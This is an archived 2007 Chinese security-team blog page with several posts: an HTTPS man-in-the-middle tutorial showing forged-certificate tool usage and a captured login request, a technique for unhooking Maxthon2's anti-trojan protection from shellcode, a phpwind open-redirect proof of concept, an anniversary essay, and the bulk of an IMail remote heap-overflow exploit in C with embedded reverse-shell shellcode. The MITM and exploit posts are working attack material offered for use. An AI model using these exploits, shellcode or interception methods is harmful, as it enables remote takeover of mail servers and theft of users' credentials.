2007年9月28日 星期五

[Tips]如何进行https中间人攻击

by 云舒
2007-09-29
http://www.ph4nt0m.org

这篇文章主要是介绍一些如何进行中间人攻击,包括两部分,第一部分是伪造证书,第二部分就是中间人转发数据了。作为中间人之前,需要使用DNS欺骗将域名解析到中间人的机器上面。HTTPS中间人攻击对自己签发的证书比较有效,比如xfocus这样的。因为本来就会出现证书警告,而向yahoo,google等网站,是权威机构发布的证书,伪造了之后会出现安全警告,不过我想白痴的用户还是很多吧。另外,这种劫持是只能在用户端攻击用户的,和服务器没啥关系。

先说说伪造证书的方法。首先使用openssl来生成一个证书,我这里生成了一个example.crt和example.key两个,保护密码为 1234。然后连接到真实的HTTPS服务器,获取真正的证书。再对开始伪造的证书进行修改,将伪造证书的几个字段改成和真实服务器的一样,增加迷惑性。

这个程序也包含在下面了,代码很短,可以自己看看,我不多描述了,主要用了X509_set_version, X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name等4个API修改的。不过比较郁闷的是windows下面编译的openssl竟然有点小问题,X509_NAME这个结构体是undefined的,写代码的时候想办法避开就好了。这样做出来的证书,开起来和真实的一样,不过公钥不同,因为如果公钥也用真是服务器的,我们没私钥那么中间人就白做了。

现在要说的就是怎么做中间人攻击了,对于一般的站点,会同时具备HTTP和HTTPS两种,所以需要在中间人的机器上监听tcp 80和tcp443,然后对数据进行转发。这一部分没什么难的,就是程序写得比较乱。本来forward等几个文件的函数可以合并到一起的,去年我就是这么做的,但是结果bug非常多。这几天突然想起对HTTPS的攻击,就把代码翻出来重写了。代码变长了很多,但是效果好了很多。唯一遗憾的是,貌似对 firefox无效,不知道为什么,需要进一步分析。

我对自己登录xfocus的论坛过程做过测试,密码什么的还是能抓到的,gmail我也测试过,基本没太大的问题。附件里面是代码,编译好的程序和我的测试证书也在,不说了,代码描述吧(代码非常乱,嘿嘿)……

攻击的时候可以这样:

D:\Projects\HttpsMiM\Release>MakeCert.exe 125.208.7.30
write fake cert to 
125.208.7.30.crt, use this to do the mim attack!

D:\Projects\HttpsMiM\Release
>HttpsMim.exe 125.208.7.30 125.208.7.30.crt

POST 
/bbs/index.php HTTP/1.1
Accept: image
/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shoc
wave
-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, applicatio
/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms
xbap, application
/x-ms-application, */*
Referer: 
https://www.xfocus.net/bbs/index.php?act=Login&do=00
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

act=Login&do=01&UserName=ph4_yunshu&PassWord=wrongpassword&submit=%CE%D2%D2%AA%
5%C7%C2%BDssl2 recv erro: error:00000000:lib(0):func(0):reason(0)
GET /images/title.gif HTTP/1.1
Accept: 
*/*
Accept
-Language: zh-cn
Accept
-Encoding: gzip, deflate
User
-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.
50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Connection: Keep
-Alive
Cookie: PHPSESSID
=033eebeaf4af7c73243ff3901c70f292 


代码下载:
http://www.icylife.net/pic/httpsmim/MakeCert.zip
http://www.icylife.net/pic/httpsmim/HttpsMim.zip

2007年9月26日 星期三

[Tips] maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

author: void#ph4nt0m.org
publish: 2007-09-27
http://www.ph4nt0m.org

Text Mode

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过
-----------------------------------------------------------------------
maxthon2启动的时候装载mxsafe.dll对一些api进行了hook.在浏览器里运行程序,如果这些程序不在其信任列表里面,就会蹦个框,要求允许/禁止.所以,大部分下载木马在启动的时候就被检测到了.

要知道mxsafe hook了哪些api. od maxthon.exe, bp WriteProcessMemory, F9看改了哪些地址.或者启动maxthon.exe,用rooktit unhooker扫下code hooks就知道了.

hook啥 (maxthon.exe v2.0.3.4643, mxsafe.dll v1.0.0.477)
---------------------------
修改ntdll.dll 导出表hook:
[1] ZwCreateProcessEx/ZwCreateProcess // 检测winxp,2003/2000创建进程
[2] ZwWriteVirtualMemory // 为检测代码注入

kernel32.dll iat hook:
[3] ZwCreateProcessEx(xp 2003)/ZwCreateProcess(2000)// 检测winxp,2003/2000创建进程
[4] ZwWriteVirtualMemory // 为检测代码注入

kernel32.dll inline hook:
[5] LoadLibraryExW // 检测LoadLibraryA/W调用
[6] CreateProcessInternalW // 检测CreateProcessA/W调用


咋绕过
------------------------------
要做到偷偷的进城,打枪的不要,就要在shellcode里unhook掉上述的[3],[4],[6].
unhook掉[6]的inline好办,mxsafe.dll只修改了CreateProcessInternalW的头几个字节做relative jmp,改回原始的就行了.
unhook掉[3],[4]在shellcode里要稍微麻烦点,因为内存ntdll.dll映像导出表里面的ZwCreateProcess (Ex),ZwWriteVirtualMemory已经被mxsafe改掉了,所以通过手工解析导出表来获取原始的native api地址,进而恢复iat hook的路就堵上了.但是天无绝人之路嘛,还是有几种办法可以得到真实的地址:
1. 读取原始的ntdll.dll文件,手工解析导出表得到真实地址.
2. 搜索内存ntdll.dll映像的.text段,用特征匹配找到native api的地址.

1方法实现起来麻烦.2方法简单点,需要注意的是一些细节问题:
先看下ntdll.dll里面的ZwCreateProcess(Ex)代码.

win 2003 sp1 ZwCreateProcessEx 0x32
------------------------------------------
7C9512A7      
90                NOP
7C9512A8 
>    B8 32000000       MOV       EAX,32 // syscall id
7C9512AD      BA 0003FE7F       MOV       EDX,7FFE0300
7C9512B2      FF12              CALL      DWORD PTR DS:[EDX]
7C9512B4      C2 
2400           RETN      24

win xpsp2 ZwCreateProcessEx    
0x30
------------------------------------------
7C92D74E      
90                NOP
7C92D74F      
90                NOP
7C92D750      
90                NOP
7C92D751      
90                NOP
7C92D752      
90                NOP
7C92D753      
90                NOP
7C92D754 
>    B8 30000000       MOV       EAX,30 // syscall id
7C92D759      BA 0003FE7F       MOV       EDX,7FFE0300
7C92D75E      FF12              CALL      DWORD PTR DS:[EDX]
7C92D760      C2 
2000           RETN      20

win 
2000    ZwCreateProcess
--------------------------------------------
77F88306        8BFF            MOV EDI,EDI
77F88308 
>/$    B8 29000000     MOV EAX,29 // syscall id
77F8830D    |.    8D5424 04       LEA EDX,DWORD PTR SS:[ESP+4]
77F88311    
|.    CD 2E           INT 2E
77F88313    \.    C2 
2000         RETN 20


发现什么了? 同一个ZwCreateProcessEx的syscall id在xp,2000是不一样的,并且2000只有ZwCreateProcess,所以想一个特征通杀2000/xp/2003是不行的.
所以, 在xp要匹配0x000030B8,在2003要匹配0x000032B8,找到真实地址后,再到内存kernel32.dll映像的导入表里搜索 NtCreateProcessEx.(因为xp/2003的CreateProcessA/W不用NtCreateProcess创建进程),然后修复 iat hook.
在2000要匹配0x00029B8,kernel32.dll搜索NtCreateProcess,修复.
NtWriteVirtualMemory的类似,就不多说了.
示例代码就不提供了,有兴趣的,折腾几下就出来了.


咋防护
---------------
ring3是靠不住的,既然shellcode都运行起来了,还不是你hook啥,我unhook啥的体力劳动.要深度防御,还是进ring0吧.


最后
---------------
对于win2003,如果CPU支持DEP,boot.ini里面又是/noexecute=optout,毋须mxsafe.dll劳神,heap spray就挂了.
没测试vista,不过估计UAC也不是吃素的.

2007年9月24日 星期一

[Tips]pw6的一个url转跳[BUG?]

by Superhei
2007-09-25
http://www.ph4nt0m.org

Text Mode


\hack.php的Codz:

require_once('global.php');
$H_name = GetGP('H_name'); //想当于$_GET[H_name]
if(ereg("^http",$H_name)!==false){
    ObHeader(
"$H_name"); //如果是http就通过ObHeader转跳
elseif(!$db_hackdb[$H_name|| !is_dir(R_P."hack/$H_name"|| !file_exists(R_P."hack/$H_name/index.php")){
//如果可以过上面这个判断就可以用下面的define定义H_P了,可惜!$db_hackdb[$H_name]这个过不去 :(
    Showmsg("hack_error");
}
define('H_P',R_P."hack/$H_name/");


我们看看ObHeader()在global.php里:

function ObHeader($URL){
    
global $db_obstart,$db_bbsurl,$db_htmifopen;
    
if($db_htmifopen && strtolower(substr($URL,0,4))!='http'){
        
$URL="$db_bbsurl/$URL";
    }
    
ob_end_clean();
    
if($db_obstart){//可惜phpwind不让全局变量了[见我上个blog],要不就可以进header()
    
        
header("Location: $URL");exit;
    } 
else{
        
ob_start();
        
echo "<meta http-equiv='refresh' content='0;url=$URL'>";exit;//这里访问了我们的url
    }
}


POC:
http://www.phpwind.net/hack.php?H_name=http://www.google.com

2007年9月23日 星期日

[News]写在六周年庆之后

by axis
2007-09-24
http://www.ph4nt0m.org

看到有这么多朋友庆祝幻影的6岁生日,心里很感动。

现在很多事情,与六年前相比,都变了。

人们开始变得急功近利起来,许多人也不再公布、分享一些技术成功。这与安全技术的商业化是分不开的。

做技术的人本身没有钱,但是技术却可以转化为钱,特别是攻击技术,可以转化为最锋利的刀,而防御技术,则可以转化为最坚固的盾。于是在这场没有硝烟的战场里,技术人员成为了各方大佬手中的锐器,坚盾。既然变成武器了,那么自然不能再出来说什么话,这也是技术人员的悲哀,为了生计,不得不去做那些武器。

6年前,hack.co.za没落的时候,正是幻影崛起的时候。我想很多新人可能都没听说过当年威名赫赫的hack.co.za吧。许多组织烟消云散,或是退居到二线了,不再像以前一样活跃在互联网中。像teso、lsd、thc这些组织,曾经一度叱诧风云,但是现在却几乎无人问津。

但是江山代有人才出,我们可喜的看到,在安全技术发展的同时,伴随着fuzz技术、客户端攻击技术的流行、web安全的兴起,安全圈子里涌现出了一批批新的“牛人”,他们为安全的发展做出了许多卓越的贡献,也是他们,在推动着安全技术前进的历史车轮。

然而,这一切,对于中国的hacker们来说,则更多的是一种技术上的追随,更有甚者,是一个看客。其实从我所了解的一些资料看来,我一直都认为中国的技术人员,在安全领域的研究,完全是处于世界领先水平的。可惜的是太多的优秀人材,成为了那些锋利的刀,优秀的研究成果,都被雪藏了。或者有些并不曾进入公众的视线,并不为人所知。

世界上对于安全技术讨论最为热烈的邮件列表,比如bugtraq,full-disclousure,这些都是英文的。出于语言壁垒,导致在全球安全技术研究领域内占了很大比例的Chinese Hacker们,很少参与到这些讨论中来,而更多的则只是被动的接受这些信息,这不得不说是一个遗憾,是我们的遗憾,也是全球安全技术研究领域的遗憾。所以出于一个契机,幻影才建立了一个中文的邮件列表,希望能够让中国的安全技术研究者,都参与到这个平台上来。

企业做大后,就要承担一些社会责任。出于同样的道理,在幻影历时6年,磕磕绊绊的走到了今天后,我也觉得,幻影应该为中国的安全界做些什么。

我相信,大多数技术人员,都并不富有。当初走上安全这条道路,我想大多数都是出于兴趣。说句实话,通过技术致富的人,很少。但是,我们研究,我们快乐!

幻影的文化是工程师文化。我们欢迎所有讨论和研究技术的朋友,我们反对所有浮躁的人。对于工程师来说,浮躁是最大的原罪。我们并不排斥从我们的技术中挖掘出商机的朋友,但是如果这里的技术帮助了你,请回报整个社区。

时至今日,在论坛关闭后,还能在这里见到这么多朋友,让我非常开心。也是因为你们的支持,才能让幻影继续走下去。幻影一直就是一个非常单纯的地方。我们一直没有商业化,以后也不会,我们甚至不会在页面上放任何广告。在这里,技术至上。

我们在blog上公布了许多研究成果,这样做的目的,是出于一种文化,出于一种责任。希望我们的方式,能够让大家认同我们的这种文化,并参与进来,不管你是否是幻影的core member。在这个社区里,愿意分享和讨论的人,一定会得到大家的尊敬。邮件列表,将不再是幻影的私家后花园,我希望各个team或者是个人,都能在这里发布他们的最新研究成果,并与大家分享。不管你的帽子是什么颜色,这里没人在乎,在乎的是你是否愿意show出你自己的技术。

希望7周年站庆时,能够看到更多令人振奋的技术成果,是来自“Chinese Hacker”!


写在最后:我们被“和谐”了,但是我们不“妥协”,有见过BlackHat“妥协”的吗?嘿嘿!

2007年9月19日 星期三

[Exploit]IMail iaspam.dll 8.0x Remote Heap Overflow Exploit

Author: axis
Date: 2007-09-20
Team: http://www.ph4nt0m.org

为了庆祝幻影成立6周年(6th Anniversary),老规矩,发点贺礼出来。
今年写的一个exp,送给过一些朋友,这次把source code直接公布出来。

这个漏洞也没啥,但是利用方式还不错,可以给大家借鉴下。

请仔细阅读我的注释,要是溢出不成功别找我。ScriptKids are not welcome.

Text Mode

/*

  by axis
  2007-06-05
  
http://www.ph4nt0m.org


  以前有这个一个imail的exp
PRIVATE Remote Exploit  For IMAIL Smtp Server(1.2)
This is For imail 8.01-8.11 version
Usage:faint.exe -d <host> [options]
Options:
        -d:             Hostname to attack [Required]
        -t:             Type [Default: 0]
        -p:             Attack port [Default: 25]
        -S:             the IP connect back to.
        -P:             the port connect back to.
Types:
        0: win2k All version , IMail 8.01-11

  不知道是哪位大牛写的

最近看了看,

非常好玩的一个漏洞。

漏洞是发生在iaspam.dll里

loc_1001ada5       ==> 注意动态调试时候注意加载基址的不同。
mov    eax, [ebp+var_54]
mov    ecx, [eax+10c8h]
push   ecx                 ; char *
mov    edx, [ebp+var_54]
mov    eax, [edx+10d0h]
push   eax                 ; char *
call   _strcpy
add    esp, 8
jmp    loc_1001a6f0


  这里strcpy的两个buffer,src和dst的指针,居然是直接从堆里读出来的。
  而之前没有做任何检查

  所以发送个邮件到服务器,SMD文件

  然后在其后的偏移处控制这两个地址,就可以拷贝任意字符串到任意内存。

  badchar是 0x00 0x0a  emm说还有个 0x25,不过我没找到。


  以前网上那个反连的版本,是利用了覆盖peb里的指针。

  这种方法在2003上不能用。

  这里我采用了emm的方法,构造了一个溢出

  因为imailsec.dll的.data段可写。

  所以我找到了这么一个地方

1000CB5D    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
1000CB60    50              PUSH EAX
1000CB61    8B0D 6C540310   MOV ECX,DWORD PTR DS:[1003546C]          ; IMailsec.1003549C
1000CB67    51              PUSH ECX
1000CB68    8D95 FCFDFFFF   LEA EDX,DWORD PTR SS:[EBP-204]
1000CB6E    52              PUSH EDX
1000CB6F    FF15 F8D30210   CALL DWORD PTR DS:[<&USER32.wsprintfA>]  ; USER32.wsprintfA


  其中指针DWORD PTR DS:[1003546C] 在imailsec.dll的.data中,这个地址可以被我们覆盖。

  所以我们就可以构造一个溢出。

  思路如下:
  第一封邮件: 发送shellcode到内存中保存好。这里我放到了teb中
  第二封邮件: 发送溢出需要的覆盖字符串到内存中保存好。这里我也放在了teb中
  第三封邮件: 覆盖imailsec.dll中的 .data段的指针,使wsprintfA造成溢出

  溢出覆盖使用的字符串是第二封邮件发送过去的,覆盖后的返回地址直接指向了第一封邮件发送过去的shellcode在内存中的地址。

  所以这个漏洞是和平台无关的!!不需要任何opcode!!

  在实际利用时我发送了4封邮件,第一封是废邮件,用于提高成功率。


  由于互联网的spam泛滥,所以等到邮件服务器处理漏洞邮件时,也许已经过了几个月了。。。

  所以最好的方案是使用download+exec 的shellcode。

  这里给出一个比较烂的反连shellcode作为poc。


  据emm说这个漏洞一直没补,只是高版本没有了。。。

  
*/

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<windows.h>
#include 
<winsock.h>
#include 
<io.h>

#pragma comment (lib,
"ws2_32")


char *szEHLO = "HELO\r\n";
char *szMF = "MAIL FROM <fucker@fuckimail.org>\r\n";
char *szRCPT = "RCPT TO: <postmaster>\r\n";
char *szDATA = "DATA\r\n";
char *szTIME = "Date: Thu, 1 Oct 2007 07:06:09 +0800\r\n";
char *szMIME = "MIME\r\n";
char *szEND = ".\r\n";
char *szQUIT = "QUIT\r\n";
char *szCT = "Content-Type: multipart/boundary=";
char *szCTE = "Content-Transfer-Encoding:";

//#define  SCaddr  "\x50\xe7\x03\x10"
#define  SCaddr  "\x50\xc8\xfd\x7f"
#define  Fuck_ptr "\x6c\x54\x03\x10"   //0x1003546c
#define  Teb_temp1  0x7ffdd050 
#define  Teb_temp2  0x7ffdd040 
#define  Teb_temp3  0x7ffdd030 


unsigned 
short port = 25;
unsigned 
char payload[5000= "";



#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 
0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_END PROC_BEGIN

unsigned 
char sh_Buff[2048];
unsigned 
int  sh_Len;
unsigned 
int  Enc_key=0x99;        //其实无关紧要,动态寻找





unsigned 
char decode1[] =
/*
00401004   . /EB 0E         JMP SHORT encode.00401014
00401006   $ |5B            POP EBX
00401007   . |4B            DEC EBX
00401008   . |33C9          XOR ECX,ECX
0040100A   . |B1 FF         MOV CL,0FF
0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],99
00401010   .^|E2 FA         LOOPD SHORT encode.0040100C
00401012   . |EB 05         JMP SHORT encode.00401019
00401014   > \E8 EDFFFFFF   CALL encode.00401006
*/
"\xEB\x0E\x5B\x4B\x33\xC9\xB1"
"\xFF"          // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";

unsigned 
char decode2[] =
/*
00406030   /EB 10           JMP SHORT 00406042
00406032   |5B              POP EBX
00406033   |4B              DEC EBX
00406034   |33C9            XOR ECX,ECX
00406036   |66:B9 6601      MOV CX,166
0040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],99
0040603E  ^|E2 FA           LOOPD SHORT 0040603A
00406040   |EB 05           JMP SHORT 00406047
00406042   \E8 EBFFFFFF     CALL 00406032
*/
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9"
"\x66\x01"      // shellcode size
"\x80\x34\x0B"
"\xB8"          // xor byte
"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";

// kernel32.dll functions index
#define _LoadLibraryA            0x00
#define _CreateProcessA            0x04
//#define _ExitProcess            0x08
#define _ExitThread             0x08
#define    _WaitForSingleObject    0x0C
// ws2_32.dll functions index
#define _WSASocketA                0x10
#define _connect                0x14
#define _closesocket            0x18
//#define _WSAStartup            0x1C

// functions number
#define _Knums                  4
#define _Wnums                  3

// Need functions
unsigned char functions[100][128=         
{                                           
// [esi] stack layout
    
// kernel32 4                           // 00 kernel32.dll
    {"LoadLibraryA"},                       //    [esi]
    {"CreateProcessA"},                     //    [esi+4]       
    {"ExitThread"},                         //    [esi+8]
    
//{"ExitProcess"},
    
//{"TerminateProcess"},
    {"WaitForSingleObject"},                //    [esi+12] 

    
// ws2_32  3                            // 01 ws2_32.dll
    {"WSASocketA"},                         //    [esi+16]     
    {"connect"},                            //    [esi+20]        
    {"closesocket"},                        //    [esi+24]
    
//{"WSAStartup"},                       //    [esi+28]
    {""},
};

void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode();

// Get function hash
unsigned long hash(unsigned char *c)
{
    unsigned 
long h=0;
    
while(*c)
    {
        h 
= ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
    }
    
return h;
}

// get shellcode
void GetShellCode(char* ipstr, short port)
{
    
char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    
char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    unsigned 
char  *pSc_addr;
    unsigned 
char  pSc_Buff[2048];
    unsigned 
int   MAX_Sc_Len=0x2000;
    unsigned 
long  dwHash[100];
    unsigned 
int   dwHashSize;

    unsigned 
int l,i,j,k;

    
char *p;
    
int ip;

    
// Get functions hash
    for (i=0;;i++) {
        
if (functions[i][0== '\x0'break;

        dwHash[i] 
= hash(functions[i]);
        
//fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);
    }
    dwHashSize 
= i*4;

    
// Deal with shellcode
    pSc_addr = (unsigned char *)ShellCode;

    
for (k=0;k<MAX_Sc_Len;++k ) {
        
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
            
break;
        }
    }
    pSc_addr
+=(k+8);   // start of the ShellCode
    
    
for (k=0;k<MAX_Sc_Len;++k) {
        
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
            
break;
        }
    }
    sh_Len
=k; // length of the ShellCode
    
    memcpy(pSc_Buff, pSc_addr, sh_Len);

    
for(k=0; k<sh_Len; ++k)
    {
        
if(memcmp(pSc_Buff+k, "\x68\x7F\x00\x00\x01"5== 0)
        {
            ip 
= inet_addr(ipstr);
            p 
= (char*)&ip;
            pSc_Buff[k
+1= p[0];
            pSc_Buff[k
+2= p[1];
            pSc_Buff[k
+3= p[2];
            pSc_Buff[k
+4= p[3];
        }
        
if(memcmp(pSc_Buff+k, "\x68\x02\x00\x00\x35"5== 0)
        {
            p 
= (char*)&port;
            pSc_Buff[k
+3= p[1]; 
            pSc_Buff[k
+4= p[0];
        }
    }

    
// Add functions hash
    memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
    sh_Len 
+= dwHashSize;

    
//printf("%d bytes shellcode\n", sh_Len);
    
// print shellcode
    
//PrintSc(pSc_Buff, sh_Len);

    
// find xor byte
    for(i=0xff; i>0; i--)
    {
        l 
= 0;
        
for(j=0; j<sh_Len; j++)
        {
            
if ( 
//                   ((pSc_Buff[j] ^ i) == 0x26) ||    //%
//                   ((pSc_Buff[j] ^ i) == 0x3d) ||    //=
    
//               ((pSc_Buff[j] ^ i) == 0x3f) ||    //?
                   
//((pSc_Buff[j] ^ i) == 0x40) ||    //@
                   ((pSc_Buff[j] ^ i) == 0x00||
                   
//((pSc_Buff[j] ^ i) == 0x3c) ||
                   
//((pSc_Buff[j] ^ i) == 0x3e) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2f) ||
    
//               ((pSc_Buff[j] ^ i) == 0x22) ||
    
//               ((pSc_Buff[j] ^ i) == 0x2a) ||
                   
//((pSc_Buff[j] ^ i) == 0x3a) ||
    
//               ((pSc_Buff[j] ^ i) == 0x20) ||
                   ((pSc_Buff[j] ^ i) == 0x25||
                   ((pSc_Buff[j] 
^ i) == 0x0D||
                   ((pSc_Buff[j] 
^ i) == 0x0A
    
//               ((pSc_Buff[j] ^ i) == 0x5C)
                )
            {
                l
++;
                
break;
            };
        }

        
if (l==0)
        {
            Enc_key 
= i;
            
//printf("Find XOR Byte: 0x%02X\n", i);
            for(j=0; j<sh_Len; j++)
            {
                pSc_Buff[j] 
^= Enc_key;
            }

            
break;                        // break when found xor byte
        }
    }

    
// No xor byte found
    if (l!=0){
        
//fprintf(stderr, "No xor byte found!\n");

        sh_Len  
= 0;
    }
    
else {
        
//fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);

        
// encode
        if (sh_Len > 0xFF) {
            
*(unsigned short *)&decode2[8= sh_Len;
            
*(unsigned char *)&decode2[13= Enc_key;

            memcpy(sh_Buff, decode2, 
sizeof(decode2)-1);
            memcpy(sh_Buff
+sizeof(decode2)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode2)-1;
        }
        
else {
            
*(unsigned char *)&decode1[7]  = sh_Len;
            
*(unsigned char *)&decode1[11= Enc_key;

            memcpy(sh_Buff, decode1, 
sizeof(decode1)-1);
            memcpy(sh_Buff
+sizeof(decode1)-1, pSc_Buff, sh_Len);
            sh_Len 
+= sizeof(decode1)-1;
        }
    }
}

// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
    
int i,j;
    
char *p;
    
char msg[4];

    printf(
"/* %d bytes */\n",buffsize);
    
for(i=0;i<buffsize;i++)
    {
        
if((i%16)==0)
            
if(i!=0)
                printf(
"\"\n\"");
            
else
                printf(
"\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        
for( p = msg, j=0; j < 4; p++, j++ )
        {
            
if(isupper(*p))
                printf(
"%c", _tolower(*p));
            
else
                printf(
"%c", p[0]);
        }
    }
   printf( 
"\";\n");
}

// ShellCode function
void ShellCode()
{
    __asm
    {
        PROC_BEGIN                          
// C macro to begin proc

        jmp     sc_end       
sc_start:         
        pop     edi                         
// Hash string start addr (esp -> edi)

        
// Get kernel32.dll base addr
        mov     eax, fs:0x30                // PEB
        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
        mov     esi, [eax+0x1c]             // InInitOrder.flink 
        lodsd                               // eax = InInitOrder.blink
        mov     ebp, [eax+8]                // ebp = kernel32.dll base address

        mov     esi, edi                    
// Hash string start addr -> esi
    
    
// Get function addr of kernel32
        push    _Knums
        pop     ecx
        
    get_kernel32:
        call    GetProcAddress_fun
        loop    get_kernel32

        
// Get ws2_32.dll base addr
        push    0x00003233
        push    
0x5f327377
        push    esp
        call    dword ptr [esi
+_LoadLibraryA]         // LoadLibraryA("ws2_32");
        
        
//mov     ebp, eax                   // ebp = ws2_32.dll base address
        xchg    eax, ebp

   
// Get function addr of ws2_32
        push    _Wnums
        pop     ecx

    get_ws2_32:
        call    GetProcAddress_fun
        loop    get_ws2_32


//
/*
     
//LWSAStartup:
        sub     esp, 400
        push    esp
        push    0x101
        call    dword ptr [esi+_WSAStartup]             // WSAStartup(0x101, &WSADATA);
//
*/

//LWSASocketA:
        push    ecx
        push    ecx
        push    ecx
        push    ecx

        push    
1
        push    
2
        call    dword ptr [esi
+_WSASocketA]   // s=WSASocketA(2,1,0,0,0,0);

        
//mov     ebx, eax                    // socket -> ebx
        xchg    eax, ebx
        
//Lconnect:
        
//int 3
        push    0x0100007F                     // host: 127.0.0.1 
        push    0x35000002                     // port: 53 
        mov     ebp, esp
        
        push    
0x10                        // sizeof(sockaddr_in)
        push    ebp                         // sockaddr_in address
        push    ebx                         // socket s
        call    dword ptr [esi+_connect]    // connect(s, name, sizeof(name));

        
// if connect failed , exit
        test    eax, eax
        jne     Finished
        
//        xor     eax, eax
        
        
// allot memory for STARTUPINFO, PROCESS_INFORMATION
        mov     edi, esp
           
        
// zero out SI/PI
        push    0x12
        pop     ecx
    stack_zero:
        stosd
        loop    stack_zero
        
        
//mov     byte ptr [esp+0x10], 0x44   // si.cb = sizeof(si)
        
//inc     byte ptr [esp+0x3C]         // si.dwFlags
        
//inc     byte ptr [esp+0x3D]         // si.wShowWindow
        
//mov     [esp+0x48], ebx             // si.hStdInput = s
        
//mov     [esp+0x4C], ebx             // si.hStdOutput = s
        
//mov     [esp+0x50], ebx             // si.hStdError = s
        
        mov     word ptr  [esp
+0x3c], 0x0101
        xchg    eax, ebx
        stosd
        stosd
        stosd
    
        mov     edi, esp
    
        
// push "cmd"
        push    0x00646d63                  // "cmd"
        mov     ebp, esp

        push    eax                         
// socket
        
//LCreateProcess:
        lea     eax, [edi+0x10]                    
        push    edi                         
// pi
        push    eax                         // si
        push    ecx                         // lpCurrentDirectory
        push    ecx                         // lpEnvironment
        push    ecx                         // dwCreationFlags
        push    1                           // bInheritHandles
        push    ecx                         // lpThreadAttributes
        push    ecx                         // lpProcessAttributes
        push    ebp                         // lpCommandLine =  "cmd"
        push    ecx                         // lpApplicationName NULL
        call    dword ptr [esi+_CreateProcessA]         // CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si, pi);
    
//LWaitForSingleObject:
        
//push    1  
        push    0xFFFFFFFF
        push    dword ptr [edi]
        call    dword ptr [esi
+_WaitForSingleObject]    // WaitForSingleObject(Handle, time) ;

//LCloseSocket:
        
//push    ebx
        call    dword ptr [esi+_closesocket]           // closesocket(c);

Finished:
        
// 恢复构造的溢出点
        mov     eax, 0x1003546c
        mov     DWORD ptr [eax],    
0x1003549c
        mov     DWORD ptr [eax
+4],  0x100354c8
        mov     DWORD ptr [eax
+8],  0x100354e0



        
//push    1
        
//call    dword ptr [esi+_ExitProcess]            // ExitProcess();
        xor     eax, eax
        push    eax
        call    dword ptr [esi
+_ExitThread]

// 
GetProcAddress_fun:    
        push    ecx
        push    esi
    
        mov     esi, [ebp
+0x3C]             // e_lfanew
        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
        add     esi, ebp                    // rva2va
        push    esi
        mov     esi, [esi
+0x20]              // AddressOfNames RVA
        add     esi, ebp                    // rva2va
        xor     ecx, ecx
        dec     ecx

    find_start:
        inc     ecx
        lodsd
        add     eax, ebp
        xor     ebx, ebx
        
    hash_loop:
        movsx   edx, 
byte ptr [eax]
        cmp     dl, dh
        jz      
short find_addr
        ror     ebx, 
7               // hash key
        add     ebx, edx
        inc     eax
        jmp     
short hash_loop
     
    find_addr:
        cmp     ebx, [edi]                  
// compare to hash
        jnz     short find_start
        pop     esi                         
// ExportDirectory
                    
// AddressOfNameOrdinals RVA
/*

//--------------------------------------------------------
        jmp over_it
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
        __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 __asm _emit 0x40 
//--------------------------------------------------------

over_it:
*/
        mov     ebx, [esi
+0x24
        add     ebx, ebp                    
// rva2va
        mov     cx, [ebx+ecx*2]             // FunctionOrdinal
        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
        add     ebx, ebp                    // rva2va
        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
        add     eax, ebp                    // rva2va
        stosd                               // function address save to [edi]
        
        pop     esi
        pop     ecx
        ret
        
sc_end:
        call sc_start
       
        PROC_END                            
//C macro to end proc
    }
}





// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
    
struct sockaddr_in target;
    SOCKET s;
    
int i;
    DWORD bf;
    fd_set wd;
    
struct timeval tv;

    s 
= socket(AF_INET,SOCK_STREAM,0);
    
if(s<0)
        
return -1;

    target.sin_family 
= AF_INET;
